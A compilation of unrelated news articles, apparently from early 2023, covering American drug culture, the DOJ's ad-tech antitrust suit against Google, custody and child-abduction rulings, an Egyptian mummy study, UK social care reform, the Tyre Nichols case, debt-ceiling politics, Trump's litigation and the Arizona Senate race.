Im no puritan, no killjoy, but I suspect this might be tied to Americas massive love of getting wasted. America is way ahead of every other developed country in terms of the mounting pile of corpses from overdoses. Per capita, and in raw numbers. This is a country where more than 100,000 people now die per year from overdoses. Thats wild, and it helps account for Americans shortening life spans  something that also puts this country at odds with the rest of the developed world.

Being high is a way of life here, whether its the bum on the street or the microdosing IT ubermen of Palo Alto. Police recruitment drives fail, reportedly not for a shortage of applicants but for a shortage of applicants who can pass drug tests.

Ive never met so many people either chasing an edge or trying to take the edge off, and doing so all the time.

(Credit: Andrew Lichtenstein/Corbis via Getty Images)

A guy I know applied for a new job a few weeks back, and he faced a urine test as part of the hiring process. He is an everyday weed user, so in a classic of overlapping contemporary Americana, he asked his only non weed-using friend to pee for him in a tube which he slid into a concealed-carry belly-band holster.

Short of my coworker getting stripped or thoroughly patted down, the gat-strap would see him through.

Yet that THC-infused fellow lives thoroughly in delusional land, firmly believing that most mass shootings are elaborate pieces of theater staged by the government in a psy-op to buttress support for disarming rational Americans like himself. The horrendous Las Vegas massacre of 2017, however, in which an antisocial professional gambler killed 58 (with another two dying later) and injured several hundred, was not faked, the pee-smuggler declared, but rather perpetrated by Antifa as a hate crime against country music fans.

And that guy could talk Laings ear off.

So I turn to a less Romantic shrink: the late William Meissner, former Professor of Clinical Psychiatry at Harvard, Professor of Psychoanalysis at Boston College, and Jesuit priest.

In his classic tome, Psychotherapy and the Paranoid Process, Meissner gives ample attention to druggies and boozers, exploring addiction as a narcissistic crisis in which intoxicants are ego props for lives too emotionally fragile to face up to personal powerlessness.

The booze and drugs really flow, Meissner writes, when lifes brick walls, its external limitations, do their thing and leave a person flailing, their lack of power and control naked and exposed.

When the world says no, the addiction-prone person internally plummets in a way that is overwhelming and total, Messier writes. Their fall will be accompanied by feelings of anger, rage, shame, guilt, boredom, loneliness, emptiness, or depression  defensive rejections, and more.

The pain killer for such pain is pain killers: literally for the massive numbers of Americans hooked on opiates; but also weed and meth and whiskey and whatever gets you off day after day after day after day.

And with all this comes paranoia: the drive to fling self-loathing out of oneself, to avoid confronting personal failure and instead rail at persecution or control by malicious others.

Hence, one of the major new religions of America is Qanon, where millions follow the analects of Q  an apocalyptic gnosticism as comically stupid as what I hear every day here in Americas prodromal phase of creeping madness.

But Im of this, too. I have needs. I have edges to take off. And edges to put on. Im writing this from Vancouver, British Columbia, where things seems so orderly, so together, and so safe, that its freaking me out.

Thats why Im crossing back to the prodromal mayhem zone, to edge city, where Ill take extensive notes for this column. For you.

Until then, keep in mind that the Devils close to perfect; eat your apricots, hoard your guns, and chase the lightning.

This is America.

To see our running list of the top 100 greatest rock stars of all time, click here.

The post Ice Cube Is Sharing Anti-Semitic Memes and QAnon Tweets appeared first on SPIN.
The U.S. Department of Justice and eight states filed an antitrust lawsuit against Google (GOOG, GOOGL) on Tuesday, seeking the breakup of the company's online ad business.

This latest action comes more than two years after the agency and a group of state attorneys general joined in another suit alleging Google's search and search advertising businesses violate U.S. antitrust laws.

The Justice Departments alleges that Google's suite of online advertising tools prevents competitors from entering the online advertising market and blocks publishers from monetizing their own content.

The department further claims that Google is illegally using, or trying to use, its monopoly power, and should be required to divest a host of entities that allow it to carry out the allegedly offending behavior.

Google CEO Sundar Pichai speaks during the Google I/O 2019 keynote session at Shoreline Amphitheatre in Mountain View, California on May 7, 2019. (Photo by Josh Edelson / AFP) (Photo by JOSH EDELSON/AFP via Getty Images)

"Googles anticompetitive behavior has raised barriers to entry to artificially high levels, forced key competitors to abandon the market for ad tech tools, dissuaded potential competitors from joining the market, and left Googles few remaining competitors marginalized and unfairly disadvantaged," the complaint states.

"Google has thwarted meaningful competition and deterred innovation in the digital advertising industry, taken supra-competitive profits for itself, and prevented the free market from functioning fairly to support the interests of the advertisers and publishers who make todays powerful internet possible."

The DOJ is specifically calling for Google to divest at least its Google Ad Manager suite, including both Googles publisher ad server, DFP, and Google's ad exchange, AdX.

Shares of Google parent Alphabet (GOOG, GOOGL) fell as much as 1.6% following the news.

Pennsylvania State University law professor John Lopatka said the stakes for Google increase with the Justice Department's new lawsuit.

"The multiple actions expand the scope of the litigation for Google, and the greater scope somewhat increases its litigation burden," Lopatka told Yahoo Finance. "Reaching negotiated settlements becomes harder as the number of plaintiff groups increases."

Lopatka adds that a DOJ victory, as opposed to a victory by the states, would dramatically benefit private plaintiffs by establishing Google's liability for anticompetitive conduct that injured them.

A victory by the states would indeed bolster the cases of private plaintiffs, but not nearly as much as would a DOJ victory, as private plaintiffs would need to show only damages to impose liability for Google's anticompetitive conduct.

Yahoo Finance has reached out to Google for comment and will update this story when it receives a response.

Prior to the DOJ's filing, Alphabet reportedly sought to quell the DOJ's antitrust concerns by offering to split up its ad auction and ad placement businesses. That offer, according to The Wall Street Journal, was to maintain the would-be separate entities under the company's larger, parent company, Alphabet.

Google has for years faced scrutiny from domestic and overseas lawmakers and regulators concerning its dominance across multiple online and mobile markets.

In the U.S, the firm has faced investigations by the DOJ, the U.S. Federal Trade Commission, and state attorneys general over suspicions that the companys search and digital advertising businesses operate as illegal monopolies.

In 2021, dozens of attorneys general sued the company, alleging that it was operating illegal monopolies in the market for Android app distribution by imposing technical barriers that prevent third parties from distributing apps outside the Play Store.

Over a decade ago, the company was fined roughly $10 billion (8.6 billion euros) by the European Commission, the European Unions antitrust watchdog. Those fines resulted from three separate antitrust violations alleged by the Commission.

In 2017, the company was hit by the Commission for allegedly abusing its market dominance in search, and again in 2018 for allegedly abusing its market power in the mobile space by preloading its own apps on new Android phones. And in 2019, the company was again fined for limiting its rivals from working with companies that already had deals with Googles AdSense platform.

Advertising

Googles digital advertising business has become an antitrust target due to its unrivaled size and volume. The company holds a commanding lead in the space and controls some of the most important links in the online advertising chain  centrally its DoubleClick platform, a premier tool for online publishers, helping them create, manage, and track online marketing campaigns.

Acquired in 2007, DoubleClick was cited by Sen. Elizabeth Warren (D-MA) as one of the major acquisitions Google should be forced to unwind to improve competition in the advertising space.

Google, and competitor Facebook (META), have also been lambasted for the impact their outsized share of the online advertising market has on the media industry. With Google competing directly with online publishers for digital ad space, publishers have been forced to significantly cut back newsroom staff, sell themselves off, or close down entirely.

In Feb. 2021, Australia passed legislation that forces Google and Facebook to negotiate payment deals with media companies for using their content. Previous attempts to force Google to pay for media it benefits from ended in failure. In 2014, Spain passed legislation that would force internet sites to pay for content it used from publishers including headline and news snippets.

But rather than comply, Google simply shut down its Spanish Google News site. Users could still find articles in Googles search results, but couldnt use the Google News platform to get news from Spain-based publications anywhere in the world.

Search

Google is already defending itself against the DOJ's lawsuit alleging illegal dominance in the online search industry. As of Dec. 2022, Google controlled more than 92% of the worlds search traffic market share, according to StatCounter. In its lawsuit filed in Oct. 2020, the Justice Department and state attorneys general allege the company is unlawfully maintaining monopolies through anticompetitive and exclusionary practices in the search and search advertising markets.

According to the Justice Department, Google's exclusionary agreements, "collectively lock up the primary avenues through which users access search engines, and thus the internet, by requiring that Google be set as the preset default general search engine on billions of mobile devices and computers worldwide and, in many cases, prohibiting preinstallation of a competitor."

Google CEO Sundar Pichai testifies before the House Judiciary Subcommittee on Antitrust, Commercial and Administrative Law during a hearing on "Online Platforms and Market Power" in the Rayburn House office Building on Capitol Hill, in Washington, U.S., July 29, 2020. Mandel Ngan/Pool via REUTERS

In 2013, the FTC declined to take action against Google after an agency investigation of its search business. The decision followed a $22.5 million fine imposed on the company the prior year to settle claims that it violated a privacy settlement with the FTC agreeing that it would avoid placing cookies on and serving targeted advertisements to users of Apples competing browser company Safari.

Self-preferencing

Accusations that Google favors its own products or reduces the visibility of competitors in its search results have also been circulating for years.

One of the companys biggest critics is Yelp, which, along with TripAdvisor, has hit at the company for placing Google-sourced ads above algorithmically-defined search results in the Google search page.

In July 2020, The Wall Street Journal reported on its investigation into Googles search algorithm, finding that the tech giant favored its own YouTube videos in search results over those from competing video streaming services.

Alexis Keenan is a legal reporter for Yahoo Finance. Follow Alexis on Twitter @alexiskweed.

Got a tip? Email Daniel Howley at dhowley@yahoofinance.com. Follow him on Twitter at @DanielHowley.

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A new study shows how a parental separation impacts family time. (Photo: Getty)

Breakups are difficult under any circumstances, but they can be particularly tricky when children are involved. Now, a new study breaks down how children's time is usually spent after their parents split  and it highlights gender inequities in the process.

The study, which was published in the European Journal of Population, analyzed time diary data from six waves of the Longitudinal Study of Australian Children, a study that follows the development of 10,000 children and families across Australia. The researchers discovered that, after parents separate, the time a mother spends with her children doubles. Children also spend three times less time with both parents and the time a father spends with his children remains low.

These splits also lead to a drop in children's time doing educational activities like study and reading, and an increase in unstructured activities like watching TV, playing video games and using smartphones. There is a gender gap with the children's time, too: Boys are twice as likely as girls to have less educational activities and more unstructured time.

The researchers found that mothers end up eventually spending a similar amount of time with their children after they split from their partners as they did pre-breakup  but it takes up to four years for this to happen.

"Overall, this study implies that parental divorce negatively affects childrens developmental time use, especially among boys, and leads lone mothers to experience increasing time penalties associated with gender inequalities in society," the authors concluded.

Breakups happen, and experts stress that parents shouldn't interpret these findings as meaning that a separation will ruin the lives of their children. However, they're not shocked by the study results.

"The findings arent surprising," Melissa Santos, an associate professor of pediatrics at the University of Connecticut School of Medicine and division chief of pediatric psychology at Connecticut Childrens, tells Yahoo Life. "We know in the long term kids do better when parents divorce or separate than stay in a relationship that is marked by constant conflict and disagreement. But the road to those long-term benefits can be bumpy."

John Mayer, a clinical psychologist and author of Family Fit: Find Your Balance in Life, agrees, telling Yahoo Life that he "regularly" sees similar situations play out in his practice.

Santos notes that the study findings show that "society still places the primary task of caregiving to mothers." She adds, "we saw what happened with closures in the pandemic and this gender effect be very prominent with women leaving the workforce, reducing their roles or taking more time off to parent and care for their children, even when married."

Mayer says that custody agreements between parents also tend to defer more childcare to moms. "Moms typically have more parenting time with the children than dads," he says. "More critically, dads tend to become complacent about their time with the children."

But experts stress that parents can create a more equal scenario in the wake of a breakup. "Research supports that the more equal parenting can be after a separation, for the most part, kids tend to do better emotionally and have less mood, behavior and sleep disruptions," Santos says.

Santos recommends doing the following to make a breakup as minimally disruptive for kids as possible:

Have open communication . "Separation is scary for many children and it can often feel very secretive," she says. "Be age-appropriate, but make sure to keep your child informed of what is happening and underscore that you all are working to make sure they are taken care of."

Keep their routines. Santos acknowledges that parental breakups can be disruptive for everyone but advises parents to "stick to family routines and structure as much as possible."

Create space for your children to express their feelings . "Kids sometimes dont express things because they often feel they are told, 'Oh you dont need to worry about that or dont think about that,'" Santos says. "Well, they are  so we need to create space for them to be able to share what is on their minds without judgment and for them to be provided reassurance, not to have their big feelings dismissed."

Make room for fun . Whether it's taking your child to your local bounce house or just goofing off together at home, making sure that fun is still in their life is important, Santos says.

Let them make small decisions . "When it seems like a lot of things are out of their control, getting to decide what the family is going to eat for dinner can let them have some control," Santos says.

Reach out to your child's pediatrician. Consult your family pediatrician if you're worried about the impact the separation will have on your child. They've likely seen this before and should have advice, along with a referral to a family therapist, if needed.

Mayer says he often gives this advice to parents going through a breakup: "Use this separation to motivate you to be the best parent that you can be. After all, you separated to make your lives better  now do that for your children."

Wellness, parenting, body image and more: Get to know the who behind the hoo with Yahoo Life's newsletter. Sign up here.
A man living in Ireland has won a High Court fight in London after complaining that his ex-partner had wrongly taken their two children to England.

The man complained that the children, who are aged 10 and eight, had been taken without his agreement, and a High Court judge has ordered their return to Ireland.

Mr Justice Mostyn was told that the children had been living in Bradford, West Yorkshire, with their mother.

He heard that they had been born in Ireland and concluded that Irish judges should make decisions about their welfare.

The judge has outlined detail of the case in a written ruling published on Tuesday after considering arguments at a recent private hearing in the Family Division of the High Court.

He said the children could not be identified in media reports of the case.

The childrens mother accepted that they were, legally, wrongfully removed from Ireland to England during the summer of 2022.

But she said their father was aware of her plans to relocate to England and argued that they would be at a grave risk of harm if returned to Ireland.

She told Mr Justice Mostyn that she cannot return to Ireland and said she would remain in England if the children were returned.

The woman said she had relinquished her housing in Ireland and claimed that she would have no means of supporting herself or the children.

Mr Justice Mostyn said the likelihood of an intolerable peril to the children arose principally because the woman said she would not accompany them to Ireland.

The court is always extremely hostile to having a gun held to its head, he said.

All of the supposed grave risk of intolerable peril is a result of the mothers unlawful and wrongful conduct.

It would be a remarkable example of the triumph of injustice over justice, of wrong over right, if a mother could clandestinely relinquish her housing, pluck the children out of school, remove them to England in breach of a court order and then state that she will not accompany if they are returned, thereby enabling her to present them to this court as prospectively abandoned, homeless, unschooled and destitute with the result that a return order is refused on that basis.

Mr Justice Mostyn heard that the childrens parents had separated more than a year ago.

He heard that the man had, nearly three years ago, been granted a protection order in an Irish court after alleging that the woman had assaulted him and thrown him out of the family home.
Wealthy ancient Egyptians were given scores of amulets when they were mummified in the hope it would speed their journey to the afterlife, a study suggests.

Scientists have digitally unwrapped the mummified body of a wealthy ancient Egyptian golden boy from 2,300 years ago and found 49 amulets of 21 different types on him.

The boy, who is believed to have been 14 or 15 when he died, was about 4ft 2in tall and is believed to have died of natural causes.

Ancient Egyptians believed in an afterlife to which entry was not guaranteed. People needed to undertake a perilous journey through the underworld before a final judgment, with friends and relatives doing everything they could to ensure their loved one reached a happy destination.

Amulets were placed along the length of the body in three columns (SN Saleem/SA Seddik/M el-Halwagy/PA)

Scientists in Egypt used CT scans to make the amulets discovery.

The studys first author Dr Sahar Saleem, from Cairo University, said: Here we show that this mummys body was extensively decorated with 49 amulets, beautifully stylised in a unique arrangement of three columns between the folds of the wrappings and inside the mummys body cavity.

These include the Eye of Horus, the scarab, the akhet amulet of the horizon, the placenta, the Knot of Isis and others.

Many were made of gold, while some were made of semi-precious stones, fired clay or faience.

Their purpose was to protect the body and give it vitality in the afterlife.

The mummy was garlanded with ferns and wore a gilded face mask (SN Saleem/SA Seddik/M el-Halwagy/PA)

The mummy was laid in an outer coffin with a Greek inscription and an inner wooden sarcophagus.

The boy wore a gilded head mask, a pectoral cartonnage that covered the front of his torso, and a pair of sandals.

The sandals were probably meant to enable him to walk out of the coffin because, according to ancient Egyptian funerary text The Book of the Dead, the deceased had to wear white sandals and be pious and clean before reciting its verses.

Ferns were garlanded around the mummys outer surface because the ancient Egyptians believed flowers and plants had sacred and symbolic meanings, while the amulets are a testament to a range of ancient Egyptian beliefs.

A golden tongue leaf was placed inside his mouth to make sure he could speak in the afterlife, an Isis Knot enlisted the power of the goddess in the protection of the body, a right-angle amulet was meant to bring balance and levelling, and double falcon and ostrich plumes represented the duality of spiritual and material life.

The golden heart scarab, was placed inside the thoracic cavity (SN Saleem/SA Seddik/M el-Halwagy/PA)

A golden scarab beetle was found inside the chest cavity, used to silence the heart on Judgment Day so it would not bear witness against the dead.

It was placed inside the torso during mummification as a substitute in case the body was ever deprived of its heart.

The mummy was found in 1916 at a cemetery used between approximately 332 and 30 BCE in Nag el-Hassay, southern Egypt.

It had been stored unexamined in the basement of the Egyptian Museum in Cairo.

The study was published in the journal Frontiers in Medicine.
Archbishops have called for a radical redesign of Englands broken social care system.

A so-called National Care Covenant, setting out the rights and responsibilities of national and local government, communities, families, and citizens should be established, the Archbishops Commission on Reimagining Care said.

Archbishop of Canterbury, Justin Welby, said such a covenant would be a step towards a position where everyone is engaged in a collaborative effort to ensure that we can all access the care and support we need.

Archbishop of Canterbury, Justin Welby, said the report gives hope of fixing the countrys broken social care system (Jonathan Brady/PA)

The commissions report, published on Tuesday, called on the Government to set out a long-term commitment to introduce a universal entitlement to care and support which it stated should be on a par with the NHS.

The report, based on 18 months of listening and engaging with people including unpaid carers, experts and care workers, stated: This will require a means of collective funding and pooling of risk, probably with a tariff of care charges established on a national basis.

In November, Chancellor Jeremy Hunt announced that social care reforms due to come into effect in October this year would be delayed by two years until 2025.

They include an 86,000 cap on personal care cost contributions, and an expanded means test that is more generous than the existing one.

Chancellor Jeremy Hunt announced a two-year delay to social care reforms when he delivered his autumn statement (UK Parliament/Jessica Taylor/PA)

Last week, the prominent economist who was the architect of the original plans for a care cap branded the state of the social care system a tragedy.

Sir Andrew Dilnot, who led a review into the future of funding social care under the coalition government, described the current situation as shameful.

The Government said it will publish a plan for adult social care system reform in spring.

In their report, the archbishops were adamant that piecemeal tinkering with the existing system will not produce the desired result, instead urging a radical redesign of the system to make it simple, consistent and person-centred.

They acknowledged their recommendations will come at a cost, stating that it cannot be the work of government alone, nor will it be achieved in one parliament, but added that they deliberately have not set out detail about how to pay for a new system, given that this has been the subject of other reports.

Stating that social care is everybodys business, the commission said people should be willing to contribute funding through taxes so that everyone, regardless of income and wealth, can get care and support.

The commission has also called for a new deal for unpaid carers, ensuring they are better valued and supported, with adequate recognition, rest, and recompense, as well as more investment in communities.

It stated that early intervention could be delivered through a universal offer of first-contact help in the community, and care assessments should be simplified, with a budget allocated based on standardised categories of disability similar to countries like Germany and Australia.

The commission added that people should have freedom to shape their care and support and be trusted to manage their budget with the support of an independent advocate or decide who would manage it on their behalf.

There must also be a long-term plan to address the recruitment and retention of paid carers, where their skill and contribution must be valued and given recognition so that social care is regarded as a rewarding career.

The report added: This has to be accompanied by improved pay, conditions, and training.

The commission, in calling for the challenge of suitable housing to be tackled, recognised the role the Church of England can play in using its assets and investments to support integrated, community-based housing options.

Mr Welby said: This report gives me hope that we can rise to the challenge of fixing our broken social care system.

He said people must broaden our understanding of care and support as the means by which everyone, regardless of age or ability, can experience abundant life.

Mr Welby said that he was disappointed by the failure of successive governments to fix social care, though one has to recognise that politicians have enormously difficult questions of priority, he told the Beth Rigby Interviews programme on Sky News.

He said he did not want to get into a blame game about the issue.

Its not about whether theyve done a good enough job or not. We are where we are. What can be done about the future?

Commission chairwoman Dr Anna Dixon said: This is no time for tinkering around the edges of a social care system that for too long has left people who draw on care and support feeling marginalised, carers feeling exhausted and undervalued, a system which provides no clarity about what is expected of each of us.

A National Care Covenant, with its focus on the mutual responsibilities, will help us to work together towards our common goal.

A Department of Health and Social Care spokeswoman said: We are committed to working with a range of stakeholders on how best to improve adult social care and we have made up to 7.5 billion available over the next two years to support services  the biggest funding increase in history.

The government has made progress on implementing the 10 year vision set out in the People at the Heart of Care white paper, published in 2021. This includes boosting workforce capacity, supporting sector digitisation, developing our approach for improving oversight of the adult social care system, and enhancing the collection and use of data.

In Spring we will publish a plan for adult social care system reform, setting out how we will build on this progress over the next 2 years.
District attorney Steve Mulroy speaks during an interview with the Associated Press, in response to the investigation of the death of Tyre Nichols, who died after being beaten by Memphis police officers, in Memphis, Tenn., Tuesday, Jan. 24, 2023. Two Memphis Fire Department employees have been removed from duty while the agency conducts an investigation into the death of Nichols, a Black man, after a violent arrest that led to the firing of five police officers. (AP Photo/Gerald Herbert)

MEMPHIS, Tenn. (AP)  The release of police video related to the death of a Black man after a violent arrest  which could take until next week  will be carefully timed to avoid the chance that suspects or witnesses tailor their statements to what they saw in the footage, the top prosecutor in Memphis said Tuesday.

Shelby County District Attorney Steve Mulroy told The Associated Press that investigators probing Tyre Nichols Jan. 7 arrest want to complete as many interviews as possible before releasing the video this week or next week. The timetable has rankled activists who expected the video to be released after Nichols family viewed the footage, which occurred on Monday.

Mulroy said he feared that releasing the video too early in the investigation could influence witnesses. He asked for patience from the public.

If you have suspects or persons of interest and they see the video, then they could theoretically ... tailor their statements to law enforcement based on what theyve seen, Mulroy said, speaking in general rather than to this specific case. Even witnesses who are not suspects or not persons of interest, its easy to get confused, and rather than talking to law enforcement about what they themselves remember, they can start confusing it with what they saw on TV.

On Monday, Ben Crump, who's representing Nichols' family, said police video that the family viewed showed that Nichols  a 29-year-old FedEx worker and father  was shocked, pepper sprayed and restrained when he was pulled over for a traffic stop near his home. He was returning home from a suburban park, where he had taken photos of the sunset. The legal team said that officers beat Nichols for three minutes in a savage encounter reminiscent of the infamous 1991 police beating of Los Angeles motorist Rodney King.

Mulroy said he could not discuss details of the video, but as a human being and a father, he was distraught by it.

My heart went out to the family, he said. Im a parent ... I cant imagine anything worse than losing a child, with the possible exception of losing a child under really violent, prolonged circumstances.

Crump released a statement Tuesday saying that a forensic pathologist who was hired by the family conducted an independent autopsy that showed extensive internal bleeding. The statement did not state a cause of death or include the independent pathologist's report. The statement said further details would be released later. Tennessee authorities have not released an autopsy of Nichols.

Relatives have accused the police of causing Nichols to have a heart attack and kidney failure. Authorities have only said that Nichols experienced a medical emergency.

Release of the video could coincide with a decision on whether to charge five Memphis Police Department who have been fired from the force for their involvement in Nichols arrest, Mulroy said. He declined to comment about whether charges are likely.

Nichols family has agreed to investigators request to wait a week or two before making the video public to make sure to give this family what they want most, and that is justice, Crump said.

Mayor Jim Strickland and Police Chief Cerelyn CJ Davis had previously issued a statement saying body camera footage would be made public after an internal department investigation and after the family viewed it. The police department finished its investigation Friday, which is when the officers were fired.

Mulroy acknowledged that some may have misunderstood the timing mentioned in the mayors and police chiefs statement as an issue of language and semantics in an emotionally charged situation.

Two Memphis Fire Department employees have also been removed from duty while the agency conducts an investigation into Nichols' death. The employees were involved in the initial patient care of Tyre Nichols, the Memphis Fire Department said in a statement.

The fire department employees were relieved of duty last week while an internal investigation is conducted, the agency said. No further information was released.

Nichols' death has led to three separate law enforcement investigations  and five Black officers were fired last week after a police probe determined that they used excessive force, and failed their duties to intervene and render aid.

Nichols was arrested after officers stopped him for reckless driving. The day after the encounter, police said in a statement that a confrontation occurred as officers approached the vehicle and Nichols ran; they said officers caught up to him and that another confrontation occurred while they were taking him into custody. Police said Nichols complained of shortness of breath and was taken to a hospital, where he died three days later.
WASHINGTON (AP)  The debate around raising the debt ceiling sounds eerily similar: Newly elected House Republicans, eager to confront the Democratic president in the White House, refused to raise the debt limit without cuts to federal spending.

Negotiations over the debt ceiling consumed Washington in 2011, a high-stakes showdown between the Obama White House and the new generation of tea party House Republicans.

Now were getting down to the real hard stuff: Ill trade you my bicycle for your golf clubs, the chief negotiator, Vice President Joe Biden, said at the time.

But weeks of tense talks between Biden and the House Republicans collapsed that summer, sending Washington careening toward a fiscal crisis. When Republicans in Congress refused to raise the debt ceiling, the government risked a catastrophic default and suffered a devastating credit downgrade, a first in the nations history.

That was the height of the 'tea party' stuff and they wanted to flex their muscles, but its just such a stupid way to try to do it.William Gale

Lessons learned from the debt ceiling standoff more than a decade ago are rippling through Washington, as the White House and Congress brace for another fiscal showdown  one that appears headed toward a very similar outcome. Neither Republicans nor Democrats are willing to budge.

The whole debate is a facade, said William Gale, a senior fellow at the nonpartisan Brookings Institution who wrote Fiscal Therapy: Curing Americas Debt Addiction and Investing in the Future, a book on the U.S. debt.

That was the height of the tea party stuff and they wanted to flex their muscles, but its just such a stupid way to try to do it  because you dont really want to risk the good credit rating of the United States government, Gale said. I suspect most of these guys already knew it."

Then-House Majority Whip Kevin McCarthy of Calif., right, joined by House Majority Leader Eric Cantor of Va., speaks to reporters about President Obama's debt reduction plan and other issues, on Capitol Hill in Washington, on Sept. 20, 2013. (AP Photo/J. Scott Applewhite)

The Treasury Department has notified Congress that its time to again raise the nations debt ceiling, now at $31 trillion, to allow more borrowing to pay off the countrys accumulated bills. Treasury said it can start taking extraordinary measures to keep paying the bills, but the money will run out by June.

Raising the nations debt ceiling had been a routine matter historically, a final task after Congress had authorized federal spending and appropriated the money needed to pay for the country's various programs and services.

But that all changed when the Republican tea party came to town after the 2010 election.

Saying Americans were taxed enough already, the tea party House Republicans arrived promising to slash federal spending, using the debt ceiling vote as their political leverage.

Debt had doubled during the George W. Bush presidency and the post-9/11 wars overseas, and it skyrocketed under President Barack Obama in the aftermath of the Great Recession, teetering around $15 trillion.

We met for months. We all sat down. But this year, this time, President Biden is now refusing negotiate.Republican Eric Cantor

At one point, Republicans were seeking $1-for-$1 tradeoffs  a dollar of spending cuts for every dollar of new borrowing. They also wanted a cut, cap and balance approach that would eventually curb deficits.

We met for months, Republican Eric Cantor, the former House majority leader tasked by Speaker John Boehner to negotiate with Biden, recalled in a recent interview with The Associated Press. We all sat down. But this year, this time, President Biden is now refusing negotiate.

In the end, House Republicans could not agree on a deal with the Obama White House.

When the August 2011 deadline came to raise the debt ceiling, only an eleventh-hour agreement with Senate Republicans led by Mitch McConnell and some Democrats tasking a Super Committee to recommend further federal reductions ensured there would be no debt default.

Spooked by the political crisis in Washington, the credit markets downgraded the nations credit ranking for the first time, upping the costs of future borrowing.

Then-Senate Majority Leader Harry Reid of Nev., center, speaks on Capitol Hill in Washington on Aug. 2, 2011. From left are, Sen. Charles Schumer, D-N.Y., Reid, Sen. Patty Murray, D-Wash., and Senate Majority Whip Richard Durbin of Ill. (AP Photo/J. Scott Applewhite)

The Biden White House appears to have drawn the conclusion that its not worth negotiating with new House Speaker Kevin McCarthy, who won a slim GOP majority in last November's midterm elections and who may  or may not  be able to deliver the votes on any debt ceiling deal.

Look, lowering the deficit has always been a top priority, White House press secretary Karine Jean-Pierre said Monday at the White House.

She said Biden, a Democrat, has always said he is happy to talk to anyone who wants to deal with that in a responsible way.

But preventing the default, she said, "is a separate matter.

Biden is scheduled to meet Tuesday with Democratic congressional leaders at the White House and is planning to invite McCarthy in the future.

McCarthy has been trying to push Biden to the table. I think its arrogance to say, Oh, were not going to negotiate anything, the speaker told the AP recently at the Capitol.

McCarthy has already shown how hard it will be to lead his majority  it took 15 ballots just to make him the House speaker in the face of resistance from right-flank Republicans.

To win over the holdouts, McCarthy promised his detractors he would fight to bring federal spending back to fiscal 2022 levels  an 8% reduction, or 17% if defense military spending is spared.

In pushing McCarthy to drive a hard bargain in debt talks, House Republicans may be taking a lesson from the tea party era that one way to force their leadership's hand is to threaten his ouster if he caves.

Rep. Tom Reed, R-N.Y., center, is joined by other members of congress outside the White House in Washington, July 19, 2011, after releasing a letter to President Barack Obama urging him to deal with the debt ceiling crisis. (AP Photo/Pablo Martinez Monsivais)

During his campaign to become speaker, McCarthy also agreed to the hard-right demand to reinstate a House rule that allows a single lawmaker to file a motion to vacate the chair, essentially a House vote to oust the speaker.

Senate Majority Leader Chuck Schumer, D-N.Y., all but dared McCarthy on Monday to put the GOP's proposed spending reductions on the table. If Republicans are talking about draconian cuts, they have an obligation to show Americans what those cuts are, and let the public react," he said.

But it's not clear if the proposed fiscal 2022 spending cuts, or any, would win over McCarthy's hard-right flank to raise the debt ceiling.

One major difference compared to 2011 is that Republicans have not coalesced" around a unified position, said Rohit Kumar, who was an aide to McConnell during that showdown.

At this point, I think its unclear what could get 218 Republican votes in conjunction with a debt limit increase, even just as an opening bid, said Kumar, now an executive with the tax services firm PwC, referring to the tally of votes typically needed to pass House legislation.

McConnell again is expected to play a pivotal role in easing the debt ceiling standoff, and some have pointed to bipartisan Senate legislation that would review spending, much the way the failed Super Committee was tasked with finding cuts after the 2011 debt ceiling showdown.

Forget the Super Committee, Rep. Tom Emmer, R-Minn., the GOP whip, said in a recent AP interview. What a ridiculous outcome.

Many House Republicans were not in Congress during the 2011 debt ceiling showdown. Said Rep. Bob Good, R-Va., one of the McCarthy holdouts: I'm certainly not focused on what happened 10 years ago."
FILE PHOTO: Trump hosts New Year's Eve party at his Mar-a-Lago resort, in Palm Beach, Florida

By Jonathan Stempel

NEW YORK (Reuters) - Donald Trump has ended his appeal of a court ruling that let New York state's attorney general investigate his real estate business and eventually file a $250 million civil fraud lawsuit against the former U.S. president.

A stipulation of voluntary dismissal signed by Trump's lawyer Alina Habba and a lawyer for state Attorney General Letitia James was filed on Tuesday with the federal appeals court in Manhattan. No reason was given.

Trump had been appealing a ruling last May by U.S. District Judge Brenda Sannes in Syracuse, New York, that found "no evidence" James had acted in bad faith or out of political bias by probing asset valuations at the Trump Organization.

The dismissal followed Trump's withdrawal on Friday of a lawsuit in federal court in Florida seeking to block James' office from obtaining materials from his private trust.

A day earlier, the judge in the Florida case imposed $937,989 of sanctions against Trump and Habba for filing a "completely frivolous" lawsuit accusing Hillary Clinton and other Democrats of trying to rig the 2016 U.S. presidential election.

Trump, a Republican, beat Clinton in that election.

Habba did not immediately respond to requests for comment.

James, also a Democrat, said she was pleased Trump withdrew both cases. "We have a legitimate legal case against him and his organization, and we cannot be bullied or dissuaded from pursuing it," she said in a statement.

The attorney general's lawsuit last September accused Trump of lying to banks and insurers for a decade about asset values and his net worth, in part to save money on loans and insurance.

On Jan. 6, New York state judge Arthur Engoron rejected Trump's bid to dismiss the case.

He declined to impose sanctions against Trump for arguments including that James was pursuing a political "witch hunt," but said "sophisticated defense counsel should have known better."

Trump's adult children Donald Jr., Eric and Ivanka are also defendants in James' lawsuit. They and their father have until Thursday to formally answer the complaint.

(Reporting by Jonathan Stempel in New York; editing by Jonathan Oatis)
Rep. Ruben Gallegos (D-Ariz.) entrance into the Arizona Senate race has supercharged many Democrats hopes of ousting Sen. Kyrsten Sinema (I-Ariz.) while putting others in a tough position.

Senate Majority Leader Charles Schumer (D-N.Y.), Democratic senators and the partys aligned campaign arm will need to decide how to handle what could be a three-party race with Gallego, Sinema  a newly-minted Independent  and an unknown Republican.

Either they endorse Sinema, who often stalls their agenda and late last year bucked their party but still caucuses with them, or they back Gallego, who skews progressive against a sitting senator. Either decision risks splitting their bases vote and handing a purple state seat to a Republican.

So far, very few want to take the bait.

I am no longer the chair of the DSCC, said Sen. Catherine Cortez Masto (D-Nev.), referencing the partys Senate campaign committee, when asked by reporters about the endorsement predicament.

Sen. Gary Peters (D-Mich.), the campaign committees current chairman, called Sinema a friend but noted that its still real early.

I dont know what her intentions are. Well have to wait and see what happens, he added.

Sinemas fellow Arizona senator, Mark Kelly (D), told The Hill, Im not going to get ahead of anything.  Ive worked very closely with Sen. Sinema for a long period of time very effectively. Shes a very effective member, but Im not going to get ahead of her on 2024.

Its a long way to the election in 2024, he said.

Sen. Tammy Baldwin (D-Wis.) used the word premature four times when asked to choose a lane.

We dont know whos running, she reiterated.

Even Sen. Bernie Sanders (I-Vt.), who aligns with Gallego ideologically, hedged. He hasnt asked me to back him yet, the Vermont senator said.

When Gallego announced his candidacy on Monday, he drew instant interest from Democrats who had long eyed 2024 as a potentially change-making year.

